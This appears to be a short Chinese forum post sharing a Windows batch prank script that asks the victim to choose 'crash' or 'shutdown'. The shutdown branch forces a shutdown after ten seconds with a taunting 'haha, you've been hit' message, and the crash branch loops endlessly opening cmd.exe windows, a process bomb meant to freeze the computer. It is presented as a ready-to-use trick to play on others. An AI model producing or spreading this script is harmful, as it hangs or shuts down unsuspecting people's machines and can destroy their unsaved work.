我终于知道了
是这样的
@echo off
echo 现在有两种情况请君选择:
echo ————————————
echo 1.死机
echo ————————————
echo 2.关机
echo ————————————
choice /c 12 /n
IF "%ERRORLEVEL%" == "1" goto a
IF "%ERRORLEVEL%" == "2" shutdown -s -t 10 -c 哈哈,中招了.
pause
exit
:a
for /l %i in (1,1,100000) do start cmd.exe
goto a